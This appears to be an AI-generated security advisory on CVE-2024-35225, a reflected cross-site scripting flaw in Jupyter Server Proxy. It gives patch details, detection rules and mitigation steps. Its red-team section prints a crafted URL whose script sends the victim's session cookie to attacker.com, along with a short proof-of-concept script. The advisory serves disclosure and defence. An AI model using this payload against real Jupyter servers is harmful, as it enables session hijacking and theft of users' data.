CVE-2024-35225

Executive Summary

CVE-2024-35225 is a critical reflected Cross-Site Scripting (XSS) vulnerability in Jupyter Server Proxy, a widely used extension that allows users to run arbitrary external processes alongside Jupyter notebooks and provide authenticated web access to them. The vulnerability resides in the /proxy/<host> endpoint, where an invalid host value is reflected back in the HTTP response without proper sanitization. An attacker can craft a phishing link containing malicious JavaScript in the host parameter. When a victim clicks the link, the script executes in the context of the JupyterLab session, granting the attacker extensive access to the user's notebooks, kernels, and potentially the underlying server. The CVSS score is 9.7 (Critical), and patches are available in versions 3.2.4 and 4.2.0. As a workaround, administrators can disable the extension.

Supply Chain & Package Security

This vulnerability affects the jupyter-server-proxy Python package, which is distributed via PyPI. Users who install this package from PyPI are at risk if they are running an affected version. The supply chain risk is moderate, as the package is widely used in data science and research environments. Organizations should verify their installed version and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 9.7 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Full access to JupyterLab data.
• Integrity (I): High (H) – Ability to modify notebooks and execute code.
• Availability (A): High (H) – Potential to disrupt the JupyterLab service.

Threat Level: Critical. The low attack complexity and high impact make this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the /proxy endpoint. The endpoint is designed to proxy requests to external services, using the format /proxy/<host>. When an invalid host is provided (e.g., one that does not resolve or is malformed), the server returns an error page that includes the unsanitized host value in the response body. An attacker can inject JavaScript by crafting a URL like:

/proxy/<script>alert('XSS')</script>

When the victim clicks this link, the browser renders the response, and the injected script executes. This allows the attacker to:

• Steal session cookies.
• Access and modify notebooks.
• Execute arbitrary code in the Jupyter kernel.
• Exfiltrate data to an attacker-controlled server.

The vulnerability exists because the host parameter is not properly encoded or sanitized before being included in the HTTP response.

Vulnerable vs. Patched Code

Vulnerable Code (e.g., version 4.1.0):

# In handlers.py
class ProxyHandler:
    async def get(self, host):
        if not self._is_valid_host(host):
            self.write(f"Invalid host: {host}")  # Unsanitized reflection
            return
        # ... proxy logic

Patched Code (version 4.2.0):

# In handlers.py
import html

class ProxyHandler:
    async def get(self, host):
        if not self._is_valid_host(host):
            self.write(f"Invalid host: {html.escape(host)}")  # Sanitized
            return
        # ... proxy logic

The fix uses html.escape() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running Jupyter Server Proxy version < 3.2.4 or < 4.2.0.
• A victim with access to the JupyterLab instance.

Exploit Steps:

1. Craft a malicious URL:

   http://target-jupyter:8888/proxy/<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the link to the victim via phishing email or social engineering.
3. When the victim clicks the link, the script executes, sending the session cookie to the attacker's server.
4. The attacker can then use the stolen cookie to hijack the session.

Proof-of-Concept (Python):

import requests

target = "http://victim-jupyter:8888"
payload = "<script>alert('XSS')</script>"
url = f"{target}/proxy/{payload}"
response = requests.get(url)
print(response.text)  # Should contain the injected script

Blue Team (Defense & Detection)

Detection:

• Monitor logs for requests to /proxy/ with suspicious characters (e.g., <, >, script).
• Use web application firewalls (WAF) to block XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply the patch immediately (upgrade to 3.2.4 or 4.2.0).
• If patching is not possible, disable the jupyter-server-proxy extension.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /proxy/<script>... or similar patterns.
  • Outbound connections to unknown IPs/domains from the Jupyter server.
• File IOCs:
  • Modified notebooks or kernel logs.
  • Unexpected files in the Jupyter working directory.
• Log IOCs:
  • Error logs containing HTML/JavaScript in the host field.
  • Repeated failed proxy requests.

Detection Engineering

YARA Rule

rule CVE_2024_35225_XSS {
    meta:
        description = "Detects reflected XSS in Jupyter Server Proxy logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35225"
    strings:
        $xss_pattern = /\/proxy\/<[^>]*script[^>]*>/
    condition:
        $xss_pattern
}

Sigma Rule

title: Reflected XSS in Jupyter Server Proxy
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-35225
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: jupyter
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/proxy/*'
        cs-uri-query|contains: 
            - '<script'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of proxy with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-35225 Jupyter Server Proxy Reflected XSS";
    flow:to_server,established;
    content:"/proxy/"; http_uri;
    content:"<script"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to version 3.2.4 or 4.2.0.
2. If upgrade is not possible, disable the extension:

   jupyter serverextension disable jupyter-server-proxy
   

3. Implement a WAF rule to block requests containing <script> in the /proxy/ path.

Long-term Measures:

• Regularly update Jupyter and its extensions.
• Conduct security training for users on phishing awareness.
• Monitor logs for anomalous proxy requests.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.